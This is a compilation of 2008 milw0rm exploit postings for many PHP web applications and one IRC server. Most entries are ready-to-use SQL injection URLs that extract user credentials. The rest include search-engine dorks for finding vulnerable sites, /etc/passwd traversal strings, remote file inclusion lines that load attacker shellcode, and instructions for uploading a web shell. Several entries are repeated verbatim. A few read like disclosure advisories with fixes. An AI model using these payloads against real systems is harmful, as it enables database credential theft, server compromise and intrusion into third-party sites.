[  A L G E R I A     S E C U R I T Y    C R E W  ]
##########################################
#
# [ Joomla Component FlippingBook 1.0.4 SQL Injection ]
#
##########################################
[~] Vulnerability found by: cO2 [ Algeria Security Crew ]
[~] Contact: c02[at]hotmail.de
[~] Website: http://www.Dz-Secure.com
[~] Greetings: to all hackers DZ . . .
##########################################
[~] ScriptName : 'Joomla'
[~] ModuleName : 'FlippingBook'
[~]  Version() :  1.0.4
###########################################
#
# DORK 1 :  inurl:com_flippingbook
#
###########################################
[+]Demo : http://www.page-flip-tools.com/index.php?option=com_flippingbook

[+]Exploit :
 
/index.php?option=com_flippingbook&Itemid=28&book_id=null/**/union/**/select/**/null,concat(username,0x3e,password),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/jos_users/*
###########################################
[+] : you can see the password in 'Title'
[+] : Open the source page to see the 'password'
###########################################

# milw0rm.com [2008-04-22]

##########CANAKKALE GECiLMEZ##############################

Crazy Goomba 1.2.1 SQL inj

dork:  :((  sory

author: ZoRLu 

home: ( http://www.z0rlu.ownspace.org ) ( yildirimordulari.org ) ( r00tsecurity.org ) ( securityfocus.com )

contact: trt-turk@hotmail.com & ZoRLu@w.cn ( baska msn yok taklitlerden kacInIn )

Not: msn i ekleyipte densiz densiz konusanIn sulalesini cumle alem .... La benden keylog isyetesiniz diye vermiyorum msn i. sacmalamayIn da  :((

Not: http://www.z0rlu.ownspace.org   acIklarýn kullanImI ile ilgili bilgiler blogumda mevcut! naparsIn para yokk free actIk :))

###################CANAKKALE GECiLMEZ###################

http://localhost/Crazy_Goomba_1.2.1_path/commentaires.php?id=[SQL]


[SQL]


1'/**/union/**/select/**/0,pseudo,password,email,id,0,0/**/from/**/cg_joueurs/**



( [SQL] yazan yere kodu yaz admin name, password(md5) ve email adresine ulas )

md5 i kýr ve giris yap

http://localhost/Crazy_Goomba_1.2.1_path/index.php?page=connexion  ( login )


sonra admin panele baglan


admin panel: 


http://localhost/Crazy_Goomba_1.2.1_path/administration/admin.php



###################CANAKKALE GECiLMEZ####################

thanx: str0ke, FaLCaTa, aRKi, the_KaM!L, ReD_KaN, iSoMiX, edish, harded, z3h!r, KoDLoK, Dr.SaLTuK, kasIrga(lavrens), w3R3m

avkidis, head_hunter and all users yildirimordulari.org & r00tsecurity.org

O Simdi Komando: iSoMiX ( CanImsIn Kardesim, KanKam Benim :))  )

Efsane: YILDIRIMORDULARI.ORG

Dersler BasladI Sanal Bitti  :(((

###################CANAKKALE GECiLMEZ####################

# milw0rm.com [2008-04-21]

##########################################
#
# XOOPS Project-Recette(Recipe)2.2 SQL Injection Vulnerability
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÝL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl :"modules/recipe"
#
###########################################
EXPLOIT :

modules/recipe/detail.php?id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2
Fselect/**/0,0,uname,pass,111,222+from%2F%2A%2A%2Fxoops_users/*

###########################################
Submitter: sbruchet
Publisher: Cba
Updated On: 2006/03/06

Version: 2.2
Downloads: 2853
File Size: 162 bytes
Home Page: Not Specified

download link:
http://www.xoops.org/modules/repository/singlefile.php?cid=43&
;lid=1524

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-04-19]

Atter 0.9.1 Local File Inclusion Vulnerability

#################################################

Author : KnocKout
ThanX : CW ALL USERS

=================================================

Script Download : http://cms-bg.org/modules/mydownloads/viewcat.php?cid=5

Attackz :

http://localsite.com/path/include/functions.inc.php?class=[Local File]
http://localsite.com/path/include/common.inc.php?file=[Local File]

#################################################

# milw0rm.com [2008-04-19]

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+               Classifieds Caffe (index.php cat_id) Remote SQL Injection            +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Classifieds Caffe
[~] Exploit: Remote SQL Injection [High]
[~] Where: index.php
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com

[+] Exploit:

[~] /index.php?action=add&cat_id=[SQL]
[~] 7'+union+all+select+0,1,convert(concat(database(),char(58),user(),char(58),version()),char),3/*

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-04-15]

##########################################
#
# Koobi Pro 6.25 poll Remote SQL Injection Vulnerability
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
##WEBSiTE: http://www.xcorpitx-hack.com/Forum/
####BLOG : http://my.opera.com/SQL-Injection/blog/
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=poll"showresult
#
# DORK 2 : allinurl: poll_id "showresult"
#
###########################################
EXPLOiT :

index.php?p=poll&showresult=1&poll_id=-1+union+select+concat(email,0x3a,pass),1,2,3+from+kpro_user

*********************************************
WEBSiTE: http://www.xcorpitx-hack.com/Forum
*********************************************
********************S@BUN********************
*********************************************

# milw0rm.com [2008-04-14]

##########################################
#
# Koobi Pro 6.25 poll Remote SQL Injection Vulnerability
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
##WEBSiTE: http://www.xcorpitx-hack.com/Forum/
####BLOG : http://my.opera.com/SQL-Injection/blog/
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=poll"showresult
#
# DORK 2 : allinurl: poll_id "showresult"
#
###########################################
EXPLOiT :

index.php?p=poll&showresult=1&poll_id=-1+union+select+concat(email,0x3a,pass),1,2,3+from+kpro_user

*********************************************
WEBSiTE: http://www.xcorpitx-hack.com/Forum
*********************************************
********************S@BUN********************
*********************************************

# milw0rm.com [2008-04-14]

############################################
#
# Pollbooth v2.0 SQL Injection Vulnerability
#
############################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
##WEBSiTE: http://www.xcorpitx-hack.com/Forum/
####BLOG : http://my.opera.com/SQL-Injection/blog/
###############################################
#
# DORK 1 : allinurl: "pollBooth.php?op=results"pollID
#
#############################################
EXPLOiT :

pollBooth.php?op=results&pollID=-1+union+select+password,1,2,3+from+users

*********************************************
WEBSiTE>>>http://www.xcorpitx-hack.com/Forum/
*********************************************
********************S@BUN********************
*********************************************

# milw0rm.com [2008-04-13]

##########################################
#
# Provozováno na RS MAXSOFT SQL-Injection


#
# PAGE:http://redakcni-system.maxsoft.cz/
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
#
###########################################
#
# DORK 1 : "RS MAXSOFT"
#
# DORK 2 : "Provozováno na RS MAXSOFT"
#
###########################################
you will see adminname and password on title

EXPLOiT:

modules/fotogalerie/popup_img.php?fotoID=-1+union+select+concat(login,0x3a,pass)+from+admin


ADMiN LOGiN=admin.php?page=logfrm


###########################################
------------------S@BUN-------------------#
###########################################
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-10]

##########################################
#
# Provozováno na RS MAXSOFT SQL-Injection


#
# PAGE:http://redakcni-system.maxsoft.cz/
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : "RS MAXSOFT"
#
# DORK 2 : "Provozováno na RS MAXSOFT"
#
###########################################
you will see adminname and password on title

EXPLOiT:

modules/fotogalerie/popup_img.php?fotoID=-1+union+select+concat(login,0x3a,pass)+from+admin


ADMiN LOGiN=admin.php?page=logfrm


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-10]

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discoverd by dun \ dun[at]strcpy.eu ]

 #####################################################
 #  [  Ksemail  ]  Local File Include Vulnerability  #
 #####################################################
 #
 # Script site:  http://www.ksemail.com/, http://mail.ksemail.com
 # 
 # Vuln: 
 # http://site.com/prog/index.php?language=../../../../../../etc/passwd 
 # http://site.com/prog/index.php?lang=../../../../../../etc/passwd
 #	
 # Dork example: "FoxMail/Outook"
 #
 ###############################################
 # Greetz: D3m0n_DE, nejman, sid_psycho
 # and all otherz.. [;
 ###############################################

 [ dun / 2008 ] 

********************************************************************************************

# milw0rm.com [2008-04-10]

##########################################
#
# Provozováno na RS MAXSOFT SQL-Injection


#
# PAGE:http://redakcni-system.maxsoft.cz/
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
#
###########################################
#
# DORK 1 : "RS MAXSOFT"
#
# DORK 2 : "Provozováno na RS MAXSOFT"
#
###########################################
you will see adminname and password on title

EXPLOiT:

modules/fotogalerie/popup_img.php?fotoID=-1+union+select+concat(login,0x3a,pass)+from+admin


ADMiN LOGiN=admin.php?page=logfrm


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-10]

-------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : gallery-script-lite
# Bug   : Remote  Local File Inclusion Vulnerability
# Download  : http://www.arwscripts.com/gallery-script-lite.html
# Dork  : developed by ARWScripts.com
# file  : download.html
# Error  :

=========================JIkI Team===================
# Exploit  :
 
  http://[site]/[script]/download.html?path=
#ex   :
 download.html?path=config.inc.php
http://www.[site].com/demos/galleryscriptlite/download.html?path=config.inc.php
===========
 greetz : all my friend and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-09]

##########################################
#
# Koobi v4.4,V5.4 gallery (img_id)
#
ONLY 4.4 AND 5.4

##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=gallerypic img_id"

###########################################
EXPLOiT 1:

index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+koobi4_user

EXPLOiT 2:
index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+koobi_user



admin login=admin/login.php

password under page

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-08]

##############################################################################
# ChartDirector Ver 4.1 (viewsource.php) Remote File Disclosure Vulnerability
#
#  D Script : http://www.advsofteng.com/download.html
#
#
#  By : Stack-Terrorist [v40]
#  
#  POC :  http://site.com/chartdirector/phpdemo/viewsource.php?file=viewsource.php
#
#
##############################################################################
#  Greetz : Tryag-Team -JIKI Team GoLd_M [Mahmod_Ali] -H-T Team -RoMaNcYxHaCkEr -Str0ke
##############################################################################

# milw0rm.com [2008-04-07]

-------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko [jiki team]
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : Blog PixelMotion 
# Bug   : Remote File Upload Vulnerability
# Download  : http://www.pixelmotion.org/zip/blog.zip
 
=========================JIkI Team===================
# Exploit  :
uploa your shell  
  http://[Site]/[script]/admin/modif_config.php
http://[Site]/[script]/templateZip/[shell]
###################OR################
upload your shell compressed by Zip forme
  http://[Site]/[script]/admin/modif_config.php
after upload your shell go to
  http://[Site]/[script]/templates/[shell]
because your sheel has extract at templates
and has upload at templateZip
=========================JIKI Team===================
 greetz : all my friend and H-T Team 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-06]

--==+================================================================================+==--
--==+		    Prozilla Forum Service SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.com
DORK: N/A
Vendor Has Not Been Notified!



DESCRIPTION: 
Prozilla Forum Service is vulnerable due to a insecure mysql query, this allows the remote attacker
to pull user credentials from the database, and possibly load a shell using OUTFILE. and 
even read local files using load_file()



SQL Injection:
http://site.com/forum.php?forum=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(name,0x3a,password),3,4/**/FROM/**/users/*



NOTE/TIP: 
admin login is at /siteadmin/
admin login can be found in config.php which can be viewed by using load_file().



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		    Prozilla Forum Service SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06]

###################################################################################
#										  #
# MyBulletin Board (MyBB) Plugin "Custom Pages 1.0" - SQL Injection Vulnerability #
#										  #
#    found by: Lidloses_Auge 							  #
#    Contact (ICQ):  120946783							  #
#    Greetz to: free-hack.com							  #
#										  #
###############################################################################################################################################
#																	      #
# Vulnerability:															      #
#																	      #
#    Document:      pages.php														      #
#    GET-Parameter: page														      #
#																	      #
# Dork:																	      #
#																	      #
#    inurl:"pages.php" + intext:"powered by mybb"											      #
#																	      #
# Example:																      #
#																	      #
#    http://[target]/pages.php?page='union/**/select/**/1,unhex(hex(concat_ws(0x202d20,username,password))),3,4,5,6,7/**/FROM/**/mybb_users/* #
#																	      #
# Notes:																      #
#																	      #
#    Successrate depends on the permissions which could be set for viewing the 'page'						              #
#																	      #
###############################################################################################################################################

# milw0rm.com [2008-04-06]

--==+	       Entertainment Directory <= 1.1 SQL Injection Vulnerbility             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 5 April 2008
Script Download: http://www.turnkeyzone.com
DORK: N/A
Vendor Has Not Been Notified!


DESCRIPTION: 
Entertainment directory is vulnerable due to a insecure mysql query. this allows the remote attacker
to obtain user credentials from the database.


EXPLOITS:
http://site.com/directory.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,CONCAT(username,char(58),password),9,10,11,12,13,14/**/FROM/**/users/*



NOTE/TIP: 


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew!



--==+================================================================================+==--
--==+	       Entertainment Directory <= 1.1 SQL Injection Vulnerbility             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05]

           
             ########################################################################
             #                                                                      #
             #    ...:::::Blogator-script 0.95 SQL Injection Vulnerbility ::::....  #          
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
dork: inurl:/_blogadata/
-----------------------------------
vuln code in /_blogadata/include/sond_result.php:
line 27: $id_art=$_GET['id_art'];
......
line 34: $sql_res=mysql_query("SELECT sond_rep, votes_H, votes_F FROM sondage_rep WHERE id_sond = $id_art ORDER BY ordre");
------------
vuln:
http://www.site.com/_blogadata/include/sond_result.php?id_art=-99999/**/union/**/select/**/concat(pseudo,0x3a,pass,char(58),email),2,3/**/from/**/membre/**/where/**/id_membre=1/*
--------------------------------
you can see in Blogator-script other injection bugs too ;)

# milw0rm.com [2008-04-04]

##########################################
#
# KwsPHP v1.3.456 (galerie)SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?mod=galerie"action=gal
#
###########################################
EXPLOiT :

index.php?mod=galerie&action=gal&id_gal=-99999/**/union/**/select/**/0,1,concat(pseudo,0x3a,pass),concat(pseudo,0x3a,pass),4,5,6,7/**/from/**/users/*


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-03]

##########################################
#
# KwsPHP v1.3.456 (archives)SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?mod=archives"
#
###########################################
EXPLOiT 1:

index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/**/0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10,11,12,13/**/from/**/users/*

EXPLOiT 2:

index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/**/0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10/**/from/**/users/*

EXPLOiT 3:

index.php?mod=archives&ac=voir&id=-99999/**/union/**/select/**/0,concat(pseudo,0x3a,pass),2,3,4,5,concat(pseudo,0x3a,pass),7,8,9,10,11,12,13,14/**/from/**/users/*



###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-03]

cript Name : PHP Block a8.4
 
Download : http://sourceforge.net/project/downloading.php?group_id=186381&use_mirror=surfnet&filename=a8.4.zip&73507325
 
Error : include_once $PATH_TO_CODE."/script/fonction.php";
 
Vul Code : http://[site]/[Path]/modules/basicfog/basicfogfactory.class.php?PATH_TO_CODE=http://[ShellCode]
 
Greetz : Kezzap66345 - Str0ke - Dread 35

# milw0rm.com [2008-04-02]

/==============================================================================================================\
  |														 |
  |  [o] Online FlashQuiz 1.0.2 Remote File Inclusion Vulnerability						 |
  |														 |
  |       Software   :  com_onlineflashquiz version 1.0.2 - paid component					 |
  |       Developer  :  www.elearningforce.biz									 |
  |       Author     :  NoGe											 |
  |       Contact    :  noge[dot]code[at]gmail[dot]com								 |
  |														 |
  |==============================================================================================================|
  |														 |
  |  [o] Vulnerable file											 |
  |														 |
  |       component/com_onlineflashquiz/quiz/common/db_config.inc.php						 |
  |														 |
  |        include_once($base_dir."common/classes/DBBase.class.php");						 |
  |														 |
  |														 |
  |														 |
  |  [o] Exploit												 |
  |														 |
  |       http://localhost/path/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=[evilcode]	 |
  |														 |
  |==============================================================================================================|
  |														 |
  |  [o] Greetz													 |
  |														 |
  |       all crew #papuahacker #baliemhackerlink #nyubicrew							 |
  |       skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke							 |
  |       yooogy H312Y Vrs-hCk Oon_Boy Paman mousekill }^-^{ SiKodoQ						 |
  |       http://kapukvalley.net member										 |
  |														 |
  \==============================================================================================================/

# milw0rm.com [2008-04-02]

##########################################
#
# Powered by Smoothflash SQL injection
# Powered by Newartonline
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : "Powered by Smoothflash"
#
# DORK 2 : allinurl: "admin_view_image.php"
#
###########################################
EXPLOiT :

admin_view_image.php?cid=-99999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/lwsp_users


admin login on frontpage

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-03-30]

[~] KISGB (Keep It Simple Guest Book) : Local FiLe Include's (tmp_theme)
[~]
[~] Version : All Versions
[~]
[~] Download : http://sourceforge.net/project/showfiles.php?group_id=38585
[~] ----------------------------------------------------------
[~] Exploit coded and founded by Cr@zy_King
[~]
[~] Date: 30.03.2008
[~]
[~]
[~] crazy_kinq@hotmail.co.uk
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]
[~] Digital-AngeLs Bug Researchers Yakinda OnLine :) Loading.
[~]
[~] [Peace Crew] Kerem125 - Alemin_Krali - m0sted - UyussMan
[~]
[~] Eno7 | Crackers_Child | Ghost61 | str0ke | [Hx] | [03xTr] | The_Bekir
[~]----------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/view_private.php?start=252&action=edit&tmp_theme=LFI
[~]
[~] ../../../../../../etc/passwd
[~]
[~]
[~]---------------------------------------------------------------------------------------------------------------
[~] " Aklın Dünya Limanına Demir Atmışsa Gemin Fırtınadan Kurtulmaz ." 

# milw0rm.com [2008-03-30]

###############################################################
#
# Wordpress Plugin Download file Remote SQL Injection Vulnerability
#
###############################################################
#
# Author: BL4CK
#
# Mail: bl4ck00@gmail.com
#
################################################################
#
# Dork: inurl:"wp-download.php?dl_id="
#
################################################################
Example:
http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL]
SQL:
null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
################################################################
# Greetz: ZioN, b!g B0$$, h4cky0u.org
################################################################

# milw0rm.com [2008-03-31]

e107 My_Gallery Plugin Arbitrary File Download Vulnerability

Release Date: 2008-03-25
Critical: Moderately critical
Impact: Exposure of system information, Exposure of sensitive information
Where: From remote
Solution Status: Unpatched
Software: My_Gallery v2.3 (plugin for e107)
Link: http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.208

Description:

A photo gallery for e107, powered by Highslide JS script. with random
gallery menu and navigation menu.

+ User interface for uploads images
+ Pre-moderation users download
+ Control Panel, can edit the name and description, delete and move
+ New comment system, it is now the most opulent gallery
+ New Front page
+ Added BBcode and a button

Vulnerability:
Jerome Athias has discovered a vulnerability in My_Gallery plugin for
e107, which can be exploited by malicious people to disclose sensitive
information.

The vulnerability is caused due to an input validation error in
dload.php when processing arguments passed to the "file" parameter. This
can be exploited to download arbitrary files from the affected system.

The vulnerability is confirmed in version 2.3. Other versions may also
be affected.

Solution:
Edit the source code to ensure that input is properly validated.

Dork: inurl:"e107_plugins/my_gallery"

Provided and/or discovered by:
Jerome Athias, JA-PSI
http://www.ja-psi.fr

Other References:
https://www.securinfos.info


------------------------------------------------------------------
PoC:
http://target.com/e107_plugins/my_gallery/dload.php?file=dload.php

File is downloaded as a .jpg file but the PHP source code can be
retrieved using a text editor.

# milw0rm.com [2008-03-25]

HIS-Webshop is a shopping-system written in Perl by www.shoppark.de
The script doesn´t check the "t"-parameter.

Example:
http://server.com/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00

<< Greetz Zero X >>

# milw0rm.com [2008-03-24]

Affected software
-----------------

ircu (upto and including 2.10.12.12)
snircd (upto and including 1.3.4)
and many other ircu derivatives

Vulnerability details
---------------------

send_user_mode in s_user.c does not check that the argument after a +r mode 
is present, if it is not than the NULL sentinel may be missed, causing the 
function to iterate over the boundary of the array.

One possible exploit:
/mode nickname i i i i i i i i i i i i i i i r r r r s

This won't work if there's another NULL directly after the first from the 
previous parsed command, if this is the case one can just append more modes 
or send some other junk to the ircd.

Resolution
----------

Upgrade to the very latest version of ircu/snircd.

Disclosure timeline
-------------------

2008-03-15: Vulnerability discovered by QuakeNet and reported to Undernet.
2008-03-15: Patches released.
2008-03-17: Patches applied to public servers.
2008-03-24: Public disclosure.

-- 
Chris Porter (slug on QuakeNet)
http://www.warp13.co.uk

# milw0rm.com [2008-03-24]

##########################################
#
# Joomla Component com_cinema SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "com_cinema"
#
###########################################
EXPLOiT 1 :

index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users/*

EXPLOiT 2 :

index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29,29,30,concat(username,0x3a,password)/**/from/**/jos_users/*

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

side note:

  Cinema
  25.03.2006
  Vamba & Luscarpa
  Copyright 2006 by Vamba & Luscarpa.
  http://www.gnu.org/copyleft/gpl.html GNU/GPL  
  webmaster@joomlaitalia.com - webmaster@webagain.net

  www.joomlaitalia.com - www.webagain.net
  1.0
  Componente Cinema per organizzare la tua videoteca. Componente realizzato sulla base di Akogallery

# milw0rm.com [2008-03-23]

##########################################
#
# Powered by Download 3000
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : "Powered by Download 3000"
#
# DORK 2 : allinurl: "com_d3000"
#
###########################################
EXPLOiT :

index.php?option=com_d3000&task=showarticles&id=-99999/**/union/**/select/**/0,username,pass_word/**/from/**/admin/*


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

side note:
    D3000
    Csaba Kissi
    April 2006
    (C) 2006 Open Source Matters. All rights reserved.
    http://www.gnu.org/copyleft/gpl.html GNU/GPL

    info@download3000.com
    joomla.download3000.com
    1.0.0
     
     to your Joomla powered site within one minute. The best of all is the fact that you can earn money through the
 
     RegNow affiliate program. The component is optimized for Googlebot and Inktomi slurp so you'll get more visitors from search engines.

     For more information about usage and your affiliate ID activation please read the help file in the package.

     Please send us your suggestions, comments and future requests for the Download3000 component. Thank you in advance.]]> 
        

# milw0rm.com [2008-03-23]

@ Joomla component rekry!Joom (op_id) <=1.0.0 SQL injectIon.


Author:Sniper456

Contact:Sniper456[attt]gmail.com

Greetss: My chilean people

Developer:Matti Kiviharju


**Bug:

http://www.target.com/index.php?option=com_rekry&Itemid=xX&rekryview=view&op_id=[SQL]

**Example

http://www.target.com/index.php?option=com_rekry&Itemid=60&rekryview=view&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--



# Fro000M CHILE my frieeeenD! 2008 # /* Grande colo colo */

side note:
  rekry
  18.07.2006
  Matti Kiviharju
  Copyright 2006 by Matti Kiviharju. All rights reserved!
  info@teknologiaplaneetta.com

  www.teknologiaplaneetta.com
  1.0.0
  This component allows careers to send their career info to databese!

# milw0rm.com [2008-03-23]